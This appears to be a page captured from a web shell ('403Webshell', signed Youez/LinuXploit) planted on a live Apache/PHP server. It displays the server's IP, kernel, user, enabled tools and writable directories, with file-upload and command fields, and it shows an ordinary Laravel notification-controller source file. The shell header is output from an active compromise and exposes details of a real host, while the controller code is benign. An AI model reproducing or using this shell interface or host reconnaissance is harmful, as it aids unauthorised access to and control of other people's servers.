403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Controllers/UserNotificationController.php
<?php

namespace App\Http\Controllers;

use App\Http\Controllers\Controller;
use App\Http\Requests\UserNotifications\UserNotificationCreateRequest;
use App\Http\Requests\UserNotifications\ListRequest as UserNotificationListRequest;
use App\Http\Requests\UserNotifications\ReadRequest as UserNotificationReadRequest;
use App\Http\Services\NotificationService;
use Auth;
use App\Models\UserNotification;

class UserNotificationController extends Controller
{
	public function __construct(
		NotificationService $notificationService
	)
	{
		$this->notificationService = $notificationService;
	}
	
	/**
	* @OA\Get(
	*
	*	path="/api/user-notification/list",
	*	operationId="userNotificationList",
	*	tags={"User Notification"},
	*	summary="userNotificationList",
	*	security={
	*		{
	*			"open_key": {}
	*		},
	*		{
	*			"api_key": {}
	*		}
	*	},
	*	@OA\Response(
	*		response=200,
	*		description="Success",
	*		@OA\JsonContent()
	*	),
	*	@OA\Response(response=400, description="Bad request"),
	*	@OA\Response(response=404, description="Resource Not Found"),
	*	@OA\Response(response=422, description="Unprocessable Entity"),
	*	@OA\Response(response=500, description="Internal Server Error"),
	* )
	*/
	public function userNotificationList(UserNotificationListRequest $request)
	{
		$payload = $request->validated();

		// if(!Auth::user()->isSuperAdmin()){
		// }
		$user = Auth::user();
        $user->last_seen_notification = now();
        $user->save();

		$payload['user_id'] = $user->id;

		$userNotifications = $this->notificationService->listUserNotification( $payload );

		return self::successResponse('Success', [
			'notifications' => $userNotifications
		]);
	}

	/**
	* @OA\Put(
	*
	*	path="/api/user-notification/read",
	*	operationId="Read",
	*	tags={"User Notification"},
	*	summary="Mark Notification as Read",
	*	security={
	*		{
	*			"open_key": {}
	*		},
	*		{
	*			"api_key": {}
	*		}
	*	},
	*	@OA\Parameter(
	*		name="notification_id",
	*		description="notification_id",
	*		in="query",
	*		@OA\Schema(
	*			type="string",
	*			default=""
	*		)
	*	),
	*	@OA\Response(
	*		response=200,
	*		description="Success",
	*		@OA\JsonContent()
	*	),
	*	@OA\Response(response=400, description="Bad request"),
	*	@OA\Response(response=404, description="Resource Not Found"),
	*	@OA\Response(response=422, description="Unprocessable Entity"),
	*	@OA\Response(response=500, description="Internal Server Error"),
	* )
	*/
	public function userNotificationRead(UserNotificationReadRequest $request)
	{
		$payload = $request->validated();
		$payload['user_id'] = Auth::id();

		$userNotification = $this->notificationService->readUserNotification( $payload );

		return self::successResponse('Success',$userNotification);
	}

	// public function userNotificationTopUp(UserNotificationTopUpRequest $request)
	// {
	// 	$payload = $request->validated();

	// 	$payload['type_id'] = UserNotification::TOP_UP;
	// 	$payload['title'] = "Top Up Notification";
	// 	$payload['user_id'] = Auth::id();

	// 	$userNotification = $this->notificationService->userNotificationCreate( $payload );

	// 	return self::successResponse('Success',$userNotification);
	// }

	// public function userNotificationCreate(UserNotificationCreateRequest $request)
	// {
	// 	$userNotification = $this->notificationService->userNotificationCreate( $request->validated() );

	// 	return self::successResponse('Success',$userNotification);
	// }

	// public function userNotificationRefs()
	// {
	// 	$userNotifications = $this->notificationService->userNotificationRefs();

	// 	return self::successResponse('Success', $userNotifications);
	// }


}

Youez - 2016 - github.com/yon3zu
LinuXploit